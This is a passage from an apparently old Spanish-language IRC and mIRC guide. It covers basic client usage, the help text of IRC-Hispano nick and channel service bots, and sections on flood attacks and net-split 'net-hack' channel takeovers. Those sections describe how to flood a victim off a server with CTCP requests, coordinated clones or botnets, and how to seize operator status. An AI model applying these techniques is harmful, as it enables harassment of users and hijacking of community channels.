pegarlo en el canal, para que el resto de personas lo vean. Si alguin escribe un direccion de una pagina, puede copiarla, marcandola con el raton, y luego pegarla en la caja de la direccion del navegador web que utilize, asi no tendra que teclearla. ¿ Como puedo repetir lo que he escrito ? El miRC almacena en un buffer todos los comandos y mensajes que vamos escribiendo en cada ventana. Y al estilo del DOSKEY de MS-DOS, podemos recuperar rapidamente cualquier mensaje anterior, para volver a lanzarlo, pulsando de nuevo ENTER. La combinacion de teclas depende de si esta en modo de linea simple o en modo multilinea. Si esta en modo de linea simple: Pulse las flechas ariba o abajo Si esta en modo multilinea: Pulse CTRL + las las flechas arriba o abajo Puede cambiar el modo de linea en File-Options-Extras, y active o desactive la casilla "Multi-line editbox". ¿ Como puedo hacer sonar un sonido dentro del canal ? Antes de empezar con eso comprenda esto perfectamente... Cuando usted active un sonido (un fichero mid o wav) SOLO LO OIRAN LOS QUE TENGAN ESE SONIDO EN SU ORDENADOR (es decir que tengan el mismo fichero). Al reves, si alguien en un canal, activa un sonido, usted solo lo oira si tiene ese fichero en su ordenador. Es decir, lo que hace el miRC de la persona que activa el sonido es mandar una especie de "orden" o "peticion" al resto de miRC's (al suyo y a los demas del canal) para que activen el fichero de sonido en sus equipos. Y si no lo tienen no sonara. Si alguien activa un sonido y usted no lo tiene, vera en el canal un mensaje de advertencia. Ejemplo: Si esta usted en un canal y un usuario llamado klonone activa un sonido (bohemian.mid) y usted no lo tiene, vera algo parecido a esto... * Sound request: can't find [bohemian.mid] [klonone SOUND] Para hacer activar un sonido use el siguiente comando... /splay fichero_de_sonido Ejemplo: Esta usted en un canal y desea poner un poco de musica. Por ejemplo, activar el sonido, spice.mid. Pare ello haga lo siguiente... /splay spice.mid Recuerde que el fichero debera estar en la carpeta donde le dijo al miRC que buscara los sonidos o en una subcarpeta de esta, si no es asi el miRC no lo encontrara, a menos que indique su localizacion, por ejemplo...

5 /splay c:\sonidos\spice.mid ¿ Como puedo parar un sonido ? Cuando algun usuario active un fichero de sonido, este sonara en su equipo hasta que se acabe. Pero si le resulta especialmente molesto...puede pararlo usando el comando /splay stop FLOOD (UN CLASICO) Los servidores IRC tienen que controlar el tráfico de entrada (el que proviene del exterior) para evitar su congestión. Una de las formas de conseguirlo es no permitir que un cliente le mande más de una determinada cantidad de información en un pequeño intervalo de tiempo; o lo que es lo mismo: la velocidad con que un cliente puede enviar datos al servidor está limitada. Cuando un cliente supera el límite preestablecido por el servidor, éste cierra la conexión con el cliente: lo echa del servidor porque no puede soportar tanto caudal de entrada. El servidor lo "explica" así: [1:59] *** ^TkLaS^ has quit IRC (Excess Flood) Un flood, en general, no es otra cosa que mandar mucha información en poco tiempo a alguien para intentar que se sature. La manera de aprovechar el flood en nuestro favor consiste en mandar muchas peticiones de información a nuestra víctima, de forma que ésta, al contestar, supere el límite del servidor y éste lo eche. Por ejemplo, si le mandamos muchos /ctcp version's seguidos (requiriendo información sobre el programa cliente que está utilizando) la víctima floodeará al servidor cuando conteste porque mandará muchas veces (tantas como peticiones haya habido) el texto de respuesta al servidor (para que del servidor vaya al cliente que peticionó, i.e., al atacante). En esto del flood juega un papel muy importante el número de peticiones que se reciben en un pequeño intervalo de tiempo. Cuantas más se reciban, más posibilidades hay de que el flood tenga éxito. Por ello no es ninguna tontería mandar peticiones desde varios puntos a la vez, y no desde uno sólo, es decir, varios usuarios (¡que podrían ser una misma persona!) de la red IRC manden peticiones a la víctima todos a la vez en un determinado momento. Si los usuarios (nicks) corresponden a una misma persona (una misma dirección IP) se habla de clones. Por tanto, una posible forma de ataque sería crearnos muchos clones y peticionar a la vez desde todos ellos a la víctima. Pero los servidores también suelen estar preparados para evitar muchos clones (cada clone ocupa, por decirlo de alguna manera, una "linea" de entrada al servidor, y esto consume recursos del mismo). Suele haber un máximo permitido (en el irc hispano es 2) denegándosele el acceso a la red a un tercer clone, o en caso de que éste lo consiguiese expulsándosele del servidor ("matándolo") (el programa servidor revisa periódicamente las IP's conectadas y detecta cuando hay varios usuarios con una misma dirección IP): [1:32] *** ^Virus^ has quit IRC (Killed (Clones!)) Se puede cambiar el número máximo de clones admisibles desde una determinada dirección IP o dominio añadiendo una I-Line al servidor IRC (en caso de no existir I-Line para esa dirección IP en particular se usa el máximo genérico definido). Esto lo debe hacer algún administrador de la red IRC y es lo que habitualmente se usa para dar acceso a entidades con muchos ordenadores accediendo a Internet desde una misma IP (como es el caso de la mayoría de cyber-cafés). ¿Cómo provocar un flood con más de 2 clones entonces? La respuesta es simple: en principio no se puede. ¿Entonces? Pues la solución es que varias personas distintas se pongan de acuerdo para atacar a la vez a la víctima. Cada persona podría tener a su vez varios clones. Por ejemplo, si A (atacante) quiere atacar a V (víctima), A se pone de acuerdo con B y C (otras 2 personas atacantes). A su vez supongamos que cada atacante tiene 2 clones: i.1 e i.2 (donde i=A,B,C). Entonces tendremos 6 usuarios (conexiones IRC) distintos atacando a V, que serían A.1, A.2, B.1, B.2, C.1 y C.2. Pero hay un problema: ¿cómo sincronizarse para atacar? ¿Cómo "ponerse de acuerdo" para mandar las peticiones en un determinado momento? Para esto existe lo que se denomina "floodnet" que, como habrá adivinado nuestro ávido lector, es una "red" (asociación) de gente cuyo único objetivo es floodear a alguien. La ventaja que tiene es que la sincroniza-ción entre los distintos componentes de la floodnet es automática (lo hacen los scripts) lo cual resuelve el problema anterior. También existe lo que se denomina "botnet" y que es análogo a la floodnet pero usando bots (no confundir con los "de servicio"; estos últimos los ponen los servers de la red irc y no los usuarios) los cuales serán lanzados desde alguna shell Unix (intérprete de comandos en una máquina Unix). Los bots suelen estar prohibidos y cuando se detectan, a lo menos, son expulsados: [1:32] *** Viernes13 has quit IRC (Killed (You are not welcome to this network!)) Protección: Hoy en día, el flood es un ataque demasiado clasico pero eficiente, es por ello que tanto los programas clientes de IRC como los scripts implementan protecciones anti-flood que dificultan enormemente el éxito de un ataque de este tipo. Por ejemplo, cuando detectan varias peticiones seguidas mandan las respuestas espaciadas en el tiempo (con pausas) y no inmediatamente, con lo cual se evita el flood. Otra forma de evitarlo es cuando se detecta varias peticiones de un usuario, a este se lo ignora por un determinado tiempo. OP gratis Conseguir op sin que nadie te lo de: Cuando alguien se une a un canal donde no hay nadie (hace un /join #canal) el servidor supone que se trata de un nuevo canal y le da op a dicho usuario. Se dice que ha creado un canal. Vamos a aprovechar esto para hacernos con el op en un canal ya existente. ¿Cómo? Fácil: solo hay que aprovechar un net-split. Los pasos serían los siguientes: * Esperar un split (lo podemos detectar con un link-looker). * Entrar (conectar) al servidor spliteado. - /join #canal (donde canal es el canal donde queremos conseguir op).

6 * El server creará un nuevo canal y tendrás el op. * Esperar a que se deshaga el split. Si "hay suerte" (leer más abajo), al deshacerse el split conservaremos el op en los restantes servidores (el servidor spliteado se encarga de dar las órdenes correspondientes). Entonces se dice que hemos llevado a cabo un "net-hack". Los usuarios presentes en el canal en el que hemos llevado a cabo la acción verán algo como: [1:41] *** irc.i3d.es sets mode: +o [-Mother-][-Fucker-] (donde el servidor que nos da op es el que antes estaba spliteado). Esto no siempre funcionará porque hay aspectos que todavía no he comentado. Paso a explicar el procedimiento y comentar algunos puntos negros. Supongo que habréis comprendido el procedimiento; es muy simple: aprovechar que el servidor spliteado no ve a los usuarios de otros servidores y por tanto al canal previamente creado. Esto presupone que no hay usuarios del servidor spliteado en el canal (en este caso no funcionaría) ya que al entrar nosotros por el server spliteado veríamos al canal como ya creado, con los usuarios de nuestro mismo servidor (a los otros los "esconde" el split) y por tanto el server no nos dará el op, como es habitual al entrar en cualquier canal ya existente. También hay que tener en cuenta que actualmente todos los servidores tienen protecciones anti-nethack. En este caso, al deshacerse el split, los restantes servidores te quitarán el op a tí en vez de ser al contrario (imponer tu op en los restantes servers), protegiendo al canal PERO ésto lo harán únicamente en caso de que ya hubiera ops en el canal antes de tu intento de net-hack (aunque hay veces en que el server se equivoca y mantiene tu op, quitándoselo a los demás). Es decir, que el net-hack funcionará sólo para canales donde no haya op ("opless channels"). Por esta razón, si queremos el op, necesitaremos tirar previamente a los ops para luego llevar a cabo el net-hack. Para concluir, son pocas la posibilidades de lograr el proposito con exito, pero vale la pena intentarlo, ya que te puedes imaginar lo que podes llegar hacer con un op en un canal como Argentina. Algunos comandos... Entrar a un canal: /join #(canal) Entrar a un canal sabiendo la host o la owner: /join #(canal) (key) Salir del IRC:/quit Salir del IRC con mensaje: /quit (mensaje) Access a un canal: /access #(canal) add host (nick) Borrar todos los access: /access #(canal) clear Borrar el access de una persona: /access #(canal) del host (nick) *!* Todas la personas que entren tengan op: /access #(canal) add host * Agregar owner: /access #(canal) add onwer (nick) Cuando aguien entre que halla un mensaje: /prop #(canal) onjoin : (mensaje) Cuando alguien salga que halla un mensaje: /prop #(canal) onquit : (mensaje) Deopear a alguien: /mode #(canal) o- (nick) (tambien podes deopear a muchos haciendo esto: /mode #(canal) ooo- (nick) (nick) (nick) Opear alguien: lo mismo que el deop pero o+ Banear a alguien: /mode #(canal) +b (nick, host o su ip) Desbanear a alguien: lo mismo que banear pero bVer el topic del canal donde estas: /topic Ver topic de cualquier canal: /topic #(canal) Ver la ip de alguien: /dns (nick) Decir un mensaje a todo el canal y a los que estan en privado tambien: /me (mensaje) Ver info de alguien: /whois (nick) Pingear a alguien: /ping (nick) Colores: (cuando pongas ctrl+k te va a aparecer una barra con muchos colores y arriba de los colores numeros)lo que tenes que hacer es poner ctrl+k y poner el numero que quieras.... si lo queres con fondo y letra de color apreta ctrl+k y el numero,y despues pone un coma al lado y el otro numero,el primer numero es el fondo y el otro el color de la letra. Subrayado:ctrl+u Ver quien esta en un canal sin estar en el: /names #(canal) Cambiarte de nick : /nick (nick) Espero que les halla gustado,como ven una lista con estos comandos es dificil de conseguir, yo hice una, mucho no me costo, pero faltan muchos cosas mas como sacar un ip aleatoria del canal,el comando whowas y muchas cosas mas, esta lista la hice porque no sabia que poner, J Comandos de los bots del IRC-Hispano CHAN / NICK / MEMO Bot de Nombres: NICK /msg NiCK HELP comando. REGISTER Registra un nick IDENTIFY Identificarse con su contraseña ACCESS Modificar la lista de direcciones autorizadas LINK Hacer su nick un alias de otro SET Ajustar opciones, incluyendo protección de kill

7 DROP Cancela el registro de un nick RECOVER Desconecta a otro usuario que esta usando tu nick RELEASE Toma custodia de su nick después de utilizar el comando RECOVER Otros comandos: UNLINK, GHOST, INFO, LIST, STATUS Sintaxis: REGISTER contraseña Registra su nick la base de datos de NiCK. Una vez registrado su nick, usted pude utilizar los comandos SET y ACCESS para configurar los parámetros de su nick como usted los desee. Asegúrese de recordar la contraseña que utilizo para registrarse--la necesitara para hacer cambios a su nick posteriormente. (Nótese que las mayúsculas importan FIDO, Fido, y fido son diferentes todas!) Sugerencias para escoger una contraseña: Contraseñas no deben ser fácil de adivinar. Por ejemplo, usar su verdadero nombre como contraseña es una mala idea. Utilizar su nick como contraseña es una idea peor ;) y, por supuesto que, NiCK no lo permitirá. También, contraseñas cortas son vulnerables a búsquedas de prueba y error, por lo que usted debe escoger una contraseña de por lo menos 5 caracteres. Finalmente, el carácter de "espacio" no se puede utilizar en contraseñas. Sintaxis: IDENTIFY contraseña Notifica a NiCK que usted es el verdadero dueño de este nick. Muchos de los comandos requieren que usted se identifique con este comando antes de poder utilizarlos. La contraseña debe ser la misma que utilizo con el comando REGISTER. Sintaxis: ACCESS ADD mascara ACCESS DEL mascara ACCESS LIST Modifica o muestra la lista de acceso para su nick. Esta es la lista de direcciones que NiCK reconocerá automáticamente como validas para utilizar este nick. Si desea utilizar este nick desde otra dirección, necesita enviar el comando IDENTIFY para que NiCK lo reconozca a usted. Ejemplos: ACCESS ADD achurch@*.dragonfire.net Permite el acceso al usuario achurch de cualquier computadora en el dominio dragonfire.net. ACCESS DEL achurch@*.dragonfire.net Hace lo contrario de el comando anterior. ACCESS LIST Muestra la lista de acceso. Sintaxis: LINK nick contraseña Liga su nick a otro, haciendo efectivamente un alias para el nick que usted utiliza actualmente con otro nick especificado. Cuando usted utiliza este comando, la lista de acceso de el nick que tiene es eliminada y reemplazada por la del nick con la que usted hace la liga; todos los mensajes para el nick actual son agregados a la lista de mensajes de el nick a ligar (esto puede causar que el nick se exceda en su limite de mensajes, en este caso necesitara borrar algunos de los mensajes antes de poder recibir nuevos mensajes para cualquiera de ambos nicks). Unas vez establecida la liga, su nick sera convertido transparentemente a el nick nuevo en todas las bases de datos de Services, excepto para los comandos NiCK UNLINK y DROP. Por ejemplo, puede utilizar cualquiera de los nicks para leer los mismos mensajes (y los mensajes que se envían a cualquier de los nicks irán a la misma lista). Si se identifica para un nick, automáticamente se identificara para el otro. Si cualquiera de ambos nicks esta en la lista de acceso de un canal, ambos nicks tendrán los mismos privilegios y accesos. Para utilizar este comando, usted debe de identificarse para su nick actual (usando el comando IDENTIFY), y debe proporcionar la contraseña para el nick al que desea ligar. Sintaxis: UNLINK Elimina la liga de su nick hacia otro. Cuando la liga se elimina, los modos de un nick y la lista de acceso de el nick previamente ligado son copiados a su nick actual y pueden ser modificados independientemente. Mensajes no son copiados; todos los mensajes permanecen con el nick previamente ligado. Sintaxis: SET opción parámetros Ajusta varios parámetros del nick. Una opción puede ser: PASSWORD Ajusta la contraseña de su nick LANGUAGE Ajusta el lenguaje que Services utilizara cuando envié mensajes a usted URL Asocia un URL con su nick EMAIL Asocia una dirección de E-mail con su nick KILL Activa/desactiva la protección de kill

8 SECURE Activa/desactiva el modo SECURE para su nick PRIVATE Evita que su nick aparezca en /msg NiCK LIST HIDE Esconde ciertas informaciones sobre su nick Para utilizar este comando es necesario identificarse antes con su contraseña (/msg NiCK HELP IDENTIFY para mayor información). Escriba /msg NiCK HELP SET opción para mayor información sobre una opción especifica. Sintaxis: SET PASSWORD nueva-contraseña Cambia la contraseña que utiliza para identificarse como el dueño de el nick. Sintaxis: SET LANGUAGE numero Cambia el lenguaje que Services utiliza cuando envía mensajes a usted (por ejemplo cuando responde a un comando que usted envió). numero debe ser escogido de la siguiente lista de lenguajes soportados: 1) English 2) ÆüËܸì¡ÊEUC¥³¡¼¥É¡Ë (Japanese / EUC encoding) 3) $BF|K\8l!J (BJIS $B%3!I!K (B (Japanese / JIS encoding) 4) "ú-{Œê iSJISƒR [ƒh j (Japanese / SJIS encoding) 5) Portugues (Portuguese) 6) Español (Spanish) 7) Turkce (Turkish) Sintaxis: SET URL url Asocia un URL dado con su nick. Este URL sera mostrado cuando solicite información de su nick con el comando INFO. Sintaxis: SET EMAIL dirección Asocia la dirección de E-mail dada con su nick. Esta dirección sera mostrada cuando alguien solicite información sobre su nick con el comando INFO. Sintaxis: SET KILL {ON | QUICK | IMMED | OFF} Activa/desactiva la protección de kill para su nick. Con protección de kill activada, si algún otro usuario intenta utilizar tu nick, se le dará un minuto para que cambie a otro, si no sera removido forzosamente de IRC por NiCK. Si seleccione QUICK, el usuario solo tendrá 20 segundos para cambiar de nick en lugar de lo usual (60 segundos). Si seleccione IMMED, el usuario sera desconetcado (kill) inmediatamente sin ser avisado primero o darle una oportunidad de cambiar de nick, favor de no utilizar esta opción a menos que sea verdaderamente necesario. Los Administradores de la red pueden haber deshabilitado esta opción. Sintaxis: SET SECURE {ON | OFF} Activa/desactiva las funciones de seguridad de NiCK para su nick. Con SECURE activado, usted debe de enviar su contraseña antes de que se le reconozca como el dueño de el nick, sin importar si su dirección este o no en la lista de acceso. Sin embargo, si aparece en la lista de acceso, NiCK no lo desconectara automáticamente, independientemente de como este la opción de KILL. Sintaxis: SET PRIVATE {ON | OFF} Activa/desactiva la opción privacidad de NiCK sobre su nick. Con PRIVATE activado, su nick no aparecerá en las listas de nicks generadas con el comando NiCK LIST. (Sin embargo, cualquiera que conozca su nick puede obtener información usando el comando INFO.) Sintaxis: SET HIDE {EMAIL | USERMASK | QUIT} {ON | OFF} Permite que usted evite que ciertas informaciones sean mostradas cuando alguien usa el comando NiCK INFO en su nick. Usted puede esconder su E-mail (EMAIL), ultima mascara user@host (USERMASK), o su ultimo mensaje de salida (QUIT). El segundo parámetro specifica cual información debe ser mostrada (OFF) o escondida (ON). Sintaxis: DROP Elimina su nick de la base de datos de NiCK. Un nick que ha sido eliminado esta disponible para que cualquier persona lo vuelva a registrar. Para utilizar este comando , usted tiene que identificarse con su contraseña (/msg NiCK HELP IDENTIFY para mayor información). Sintaxis: RECOVER nick [contraseña] Permite que usted recupere su nick si alguien mas lo ha tomado; esto es lo mismo que NiCK hace automáticamente si alguien intenta utilizar un nick protegido con kill.

9 Cuando usted envía este comando, NiCK conectara en línea a un usuario falso con el mismo nick que el usuario que usted desea recuperar. Esto causara que los servidores de IRC desconecten al otro usuario. El usuario falso permanecerá en línea por un minuto para asegurar que el otro usuario no se reconecte inmediatamente; después de ese minuto, usted puede tomar su nick. Alternativamente, use el comando RELEASE (/msg NiCK HELP RELEASE) para obtener su nick mas rápido. Para usar el comando RECOVER para un nick, su dirección actual como se muestra en un /WHOIS debe de estar en la lista de acceso de el nick, o usted debe de proporcionar la contraseña correcta para el nick. Sintaxis: RELEASE nick [contraseña] Ordena a NiCK eliminar cualquier espera en su nick causada por un kill automático de protección o por el uso de el comando RECOVER. Por default, la espera dura un minuto; este comando lo libera mas rápidamente. Para usar el comando RELEASE para un nick, su dirección actual como se muestra en un /WHOIS debe de estar en la lista de acceso de el nick, o usted debe de proporcionar la contraseña correcta para el nick. Sintaxis: GHOST nick [contraseña] Elimina una sesión "fantasma" de IRC que este utilizando su nick. Una sesión "fantasma" es aquella que no esta realmente conectada, pero que un servidor de IRC acredita como activa por cualquier razón. Típicamente esto sucede si su computadora se atora o su conexión a Internet se desconecta por un periodo corto mientras esta en IRC. Para usar el comando GHOST para un nick, su dirección actual como se muestra en un /WHOIS debe de estar en la lista de acceso de el nick, o usted debe de proporcionar la contraseña correcta para el nick. Sintaxis: INFO nick Muestra información sobre un nick dado, como el quien es el dueño, ultima dirección utilizada y hora, y las diferentes opciones del nick. Sintaxis: LIST patrón Lista todos los nicks registrados que concuerdan con un patrón dado en formato nick!user@host. Nicks con la opción de PRIVATE activada no serán mostrados. Ejemplos: LIST *[email protected] Lista los nicks registrados por [email protected]. LIST *Bot*!*@* Lista todos los nicks registrados que contenga Bot en su nombre (no importa mayúsculas). LIST *!*@*.bar.org Lista todos los nicks registrados por usuarios del dominio bar.org. . Sintaxis: STATUS nick... Informa si el usuario de un nick es reconocido como el dueño de el mismo. La respuesta tiene el siguiente formato: nick código-de-status donde nick es el nick enviado con el comando, código-de-status es uno de los siguientes: 0 - usuario no esta conectado o nick no esta registrado 1 - usuario no reconocido como dueño del nick 2 - usuario reconocido por la lista de acceso solamente 3 - usuario reconocido por identificación con contraseña Hasta 16 nicks pueden ser enviados con cada comando; el resto serán ignorados. No se genera mensaje de error si no se envía nick. Bot de Canales: CHAN CHaN habilita a registrar y controlar varios aspectos de los canales. CHaN puede prevenir que usuarios malintencionados puedan "tomar" el control limitando a quién se permite privilegios de operador del canal. Los comandos disponibles son los siguientes. Para utilizarlos, escriba /msg CHaN comando. Para obtener mas información de un comando específico, escriba /msg CHaN HELP comando. REGISTER Registra un canal IDENTIFY Para identificarse como fundador del canal SET Fija opciones e información del canal ACCESS Modifica la lista de usuarios privilegiados LEVELS Redefine los niveles de accesos AKICK Mantiene la lista de Auto-Kick DROP Cancela la registración de un canal Otros comandos: INFO, LIST, INVITE, OP, DEOP, UNBAN, CLEAR Note que si un canal no es utilizado por 14 días (es decir qué ningún usuario en la lista de acceso del canal entra en ese periodo de tiempo) será automáticamente cancelado. Sintaxis: REGISTER canal contraseña descripción

10 Registra un nuevo canal en la base de datos de CHaN. Para poder utilizar este comando, usted primero debe ser operador del canal que está tratando de registrar (1). La contraseña deberá ser utilizado con el comando IDENTIFY cuando necesite hacer modificaciones posteriores a opciones del canal. El último parámetro, que debe ser incluido, es una descripción de los propósitos del canal. Cuando usted registra un canal, usted queda registrado como el "fundador" del canal. El fundador de un canal puede modificar cualquiera de las opciones de un canal (excepto el nombre mismo del canal); CHaN le dará automáticamente privilegio de operador al fundador del canal cuando el/ella ingresen al canal. Vea el comando ACCESS (/msg CHaN HELP ACCESS) para obtener información de como dar privilegio de operadores a otros usuarios del canal. (1) AVISO: para poder registrar un canal, su nick debe estar registrado. Si aún no lo registró, escriba /msg NiCK HELP para obtener información de cómo hacerlo. Sintaxis: IDENTIFY canal contraseña Este comando, lo identifica a usted ante CHaN como el fundador del canal. Muchos comandos requieren que usted utilice ESTE comando antes de poder utilizarlos. La contraseña debe ser el mismo que se ingresó al momento de registrar el canal (comando REGISTER). Sintaxis: SET canal opción parámetros Habilita al fundador del canal a definir varias opciones y otra información. El fundador, debe identificarse vía comando IDENTIFY antes de utilizar SET. Opciones disponibles: FOUNDER Cambia el fundador del canal PASSWORD Cambia la contraseña del fundador DESC Cambia la descripción del canal URL Asocia una URL al canal EMAIL Asocia una dirección de correo al canal ENTRYMSG Fija un mensaje que será mostrado a los usuarios cuando entren al canal TOPIC Cambia el Tema del canal KEEPTOPIC Retiene el tema (topic) cuando el canal no está en uso TOPICLOCK El Tema SOLO podrá ser cambiado vía SET TOPIC MLOCK Fija los modos del canal en 'ON' u 'OFF' PRIVATE Oculta el canal (no se ve cuando se utiliza el comando LIST) RESTRICTED Restringe el acceso al canal SECURE Activa los rasgos de seguridad de ChaN SECUREOPS Control estricto de Status de operador Escriba /msg CHaN HELP opción para obtener mas información de una opción en particular. Sintaxis: SET canal FOUNDER nick Cambia el fundador del canal. El nick dado, que será el nuevo fundador del canal, debe estar registrado. Sintaxis: SET canal PASSWORD contraseña Se utiliza para definir la contraseña que será utilizado para identificarse como el fundador del canal. Sintaxis: SET canal DESC descripción Fija la descripción del canal, la cual será mostrada cuando se utilicen los comandos LIST e INFO. Sea breve y concreto. Sintaxis: SET canal URL [url] Asocia una URL al canal, la cual será visualizada cuando se solicite información del canal (vía comando INFO). Habitualmente se utiliza para indicar la dirección de la página web del canal. Si no se ingresa ninguna url, se borrará la que tenga actualmente el canal. Sintaxis: SET canal EMAIL [dirección] Asocia la dirección de correo dada al canal. Esta dirección será mostrada cuando alguien solicite (vía comando INFO) información del canal. Es muy útil, por ejemplo, para que los usuarios tengan una vía de comunicación con el fundador y/u operadores del canal. Si no se proporciona una dirección de correo, se eliminará la que actualmente pueda tener el canal. Sintaxis: SET canal ENTRYMSG [mensaje] Establece el mensaje que será enviado a los usuarios (vía /notice) cuando ellos ingresen al canal. Si mensaje no se ingresa, nada será enviado a los usuarios cuando ingresen. Sintaxis: SET canal TOPIC texto Causa que CHaN fije el tema del canal al indicado en texto. Esta orden es muy útil en conjunción con SET TOPICLOCK.

11 Sintaxis: SET canal KEEPTOPIC {ON | OFF} Habilita o deshabilita la opción de retención del tema para el canal. Cuando retención del tema está en ON (habilitada), el tema del canal será recordado por CHaN aún después que el último usuario se haya retirado, y se restaurará la próxima vez que alguien ingrese al canal. Sintaxis: SET canal TOPICLOCK {ON | OFF} Habilita o deshabilita la opción para trabar el tópico del canal. Cuando trabar el tópico está en ON, CHaN no habilitará el cambio del tema (tópico) excepto vía SET TOPIC. Sintaxis: SET canal MLOCK modos Fija los distintos modos para el canal. CHaN lo habilita a usted para definir determinados modos del canal y que queden siempre habilitados (o no). Los modos que pueden ser fijados son: i, k, l, m, n, p, s, y t; cada uno de estos modos puede estar activado (ON), desactivado (OFF) o no fijado. Los distintos modos se indican exactamente como si se utilizase el comando /MODE; esto es, modo seguido de + indica activado (ON), modo seguido de - indica desactivado (OFF). Cuidado!: Si usted fija un modo protegido por contraseña, como en el segundo ejemplo, también deberá fijar la opción RESTRICTED para el canal (vea HELP SET RESTRICTED), o cualquiera que ingrese al canal cuando el mismo esté vacío, verá la contraseña!! Ejemplos: SET #canal MLOCK +nt-iklps Activa los modos n y t, y desactiva los modos i, k, l, p, y s. El modo m puede ser activado o desactivado. SET #canal MLOCK +knst-ilmp my-key Activa los modos k, n, s, y t. Desactiva los modos i, l, m, y p. También establece "my-key" como la contraseña del canal. SET #canal MLOCK + Elimina los modos activos; todos los modos del canal pueden ser libremente activados o desactivados. >>>>>> No ayuda disponible para set private. <<<<<< Sintaxis: SET canal RESTRICTED {ON | OFF} Habilita o deshabilita la opción de acceso restringido para el canal. Cuando el acceso restringido está activo (ON), usuarios que normalmente no tienen privilegio de operadores cuando entran al canal (usuarios con nivel de acceso negativo y, si secure ops está activada, usuarios que NO están en la lista de acceso) serán expulsados (y se les prohibirá el acceso) al canal. Sintaxis: SET canal SECURE {ON | OFF} Habilita o deshabilita la seguridad de CHaN para el canal. Cuando SECURE está ACTIVO, SOLO los usuarios que tienen registrado sus nicks con NiCK y se han IDENTIFICADO con sus respectivas contraseñas tendrán acceso al canal si es que figuran en la lista de ACCESS. Sintaxis: SET canal SECUREOPS {ON | OFF} Habilita o deshabilita la opción de operadores seguros para el canal. Cuando operadores seguros está activada (ON), usuarios que NO estén en la lista de usuarios del canal NO podrán obtener status de operadores Sintaxis: ACCESS canal ADD nick nivel ACCESS canal DEL {nick | posición-numero} ACCESS canal LIST [mask] Mantiene la lista de accesos del canal. La lista de accesos establece que usuarios están habilitados a ser operadores del canal o acceder a comandos de CHaN en el canal. Se pueden establecer diferentes niveles de usuarios para acceder a diferentes privilegios; utilice /msg CHaN HELP ACCESS LEVELS para obtener información mas específica. Cualquier nick que no esté en la lista de acceso tiene nivel de usuario 0 (cero). El comando ACCESS ADD agrega al nick con el nivel dado a la lista de acceso; si el usuario ya existe en la lista, se reemplazará su nivel. El nivel especificado debe ser menor que el que tiene el usuario que está ingresando el comando, y si el nick está actualmente en la lista, el nivel actual de dicho nick debe ser menor que el nivel del usuario que está ingresando el comando. El comando ACCESS DEL elimina un usuario de la lista de accesos. Se puede eliminar un usuario ingresando el nick o ingresando el número que ocupa en la lista de accesos. El comando ACCESS LIST muestra la lista de accesos al canal; se pueden utilizar caracteres comodines o mascaras, en cuyo caso solo las coincidencias concurrentes serán listadas. Niveles de acceso para usuarios

12 Por defecto, los siguientes niveles son definidos: Acceso FULL a las funciones de CHaN. Note que únicamente una sola persona puede Founder tener acceso de fundador del canal (no se puede dar acceso de founder con el comando ACCESS). 10 Acceso al comando AKICK; operador automático al ingresar. 5 Operador automático al ingresar. 3 Estado de VOZ automático (+v). No tiene privilegios especiales; puede obtener status de operador dado por otro 0 operador (a menos que secure-ops esté activado). menos que No puede ser operador. 0 Estos niveles pueden ser cambiados, o nuevos pueden ser agregados utilizando el comando LEVELS; escriba /msg CHaN HELP LEVELS para información. Sintaxis: LEVELS canal SET tipo nivel LEVELS canal {DIS | DISABLE} tipo LEVELS canal LIST LEVELS canal RESET El comando LEVELS permite un control fino sobre los accesos numéricos utilizados por los canales. Con este comando, usted puede definir los niveles requeridos para muchas de las funciones de CHaN. Los comandos SET FOUNDER, SET PASSWORD, así como éste comando están siempre restringidos al fundador. LEVELS SET habilita el acceso para una función o grupo de funciones a ser modificadas. LEVELS DISABLE (o DIS en forma abreviada) deshabilita un privilegio automático, o deshabilita el acceso para cualquier otro que no sea el fundador del canal. LEVELS LIST muestra los niveles actuales para cada función o grupo de funciones. LEVELS RESET vuelve todos los niveles a sus valores por defecto, los mismos que cuando se registra por primera vez un canal (vea HELP ACCESS LEVELS). Para una lista de las funciones que pueden ser establecidas, utilice el comando HELP LEVELS DESC. La siguiente lista muestra los valores/funciones por defecto. Note que los niveles para AUTODEOP y NOJOIN son los máximos niveles, mientras que todos los demás, son los mínimos. AUTOOP Status de operador de canal automático AUTOVOICE Modo +v automático AUTODEOP No puede ser operador de canal NOJOIN No puede entrar a canal si esta en modo restringido (RESTRICTED) INVITE Permitido a usar comando INVITE AKICK Permitido a usar comando AKICK SET Permitido a usar comando SET (no siendo FUNDADOR) CLEAR Permitido a usar comando CLEAR UNBAN Permitido a usar comando UNBAN OPDEOP Permitido a usar comandos OP/DEOP ACC-LIST Permitido a ver lista de acceso ACC-CHANGE Permitido a modificar lista de acceso MEMO Permitido a ver mensajes del canal Sintaxis: AKICK canal ADD mask [razón] AKICK canal DEL mask AKICK canal LIST [mask] Definimos AKICK como "Expulsión automática". Definimos BAN como "Entrada prohibida". Este comando, mantiene la lista de AKICK del canal. Si un usuario está en la lista de AKICK e intenta entrar al canal, CHaN automáticamente agrega dicho usuario a la lista BAN del canal, y luego lo expulsa del canal. El comando AKICK ADD agrega un usuario a la lista de AKICK. Si una razón es dada con el comando, entonces la razón será utilizada por CHaN cuando expulse a dicho usuario; si no, el mensaje que se utilizará por defecto, es "You have been banned from the channel". El comando AKICK DEL elimina al usuario de la lista de AKICK. Este comando no remueve el BAN que pueda existir en el canal, el cual deberá ser removido manualmente. El comando AKICK LIST muestra la lista de usuarios en la lista de AKICK. Opcionalmente, solo lista aquellos suministrados con la mascara dada.

13 Sintaxis: DROP canal Elimina el canal de la base de CHaN. Puede ser utilizado únicamente por el fundador del canal, quien deberá primeramente identificarse con el comando IDENTIFY. Sintaxis: INFO canal Provee información acerca del canal (o informa que no está registrado). Lista el fundador, hora y fecha de registración, última vez que se utilizó, descripción, y modos del canal (si los hubiese). Sintaxis: LIST especificación Lista todos los canales que coincidan con la especificación dada. Canales con la opción PRIVATE activada, no son listados. Sintaxis: INVITE canal Le dice a CHaN que lo invite a usted al canal indicado. Por defecto, solo funciona si su nivel de acceso en dicho canal es mayor que 0 (cero). Sintaxis: OP #canal nick Convierte en Operador al usuario indicado en el canal indicado. Por defecto, está limitado a quienes posean nivel 5 o mayor en el canal. Sintaxis: DEOP #canal nick Quita el estado de Operador al usuario indicado en el canal indicado. Por defecto, está limitado a quienes posean nivel 5 o mayor en el canal. Sintaxis: UNBAN canal Le dice a CHaN que elimine todos los accesos prohibidos previniendo su ingreso a dicho canal. Por defecto, solo funciona si su nivel de acceso en dicho canal es mayor que 0 (cero). Sintaxis: CLEAR 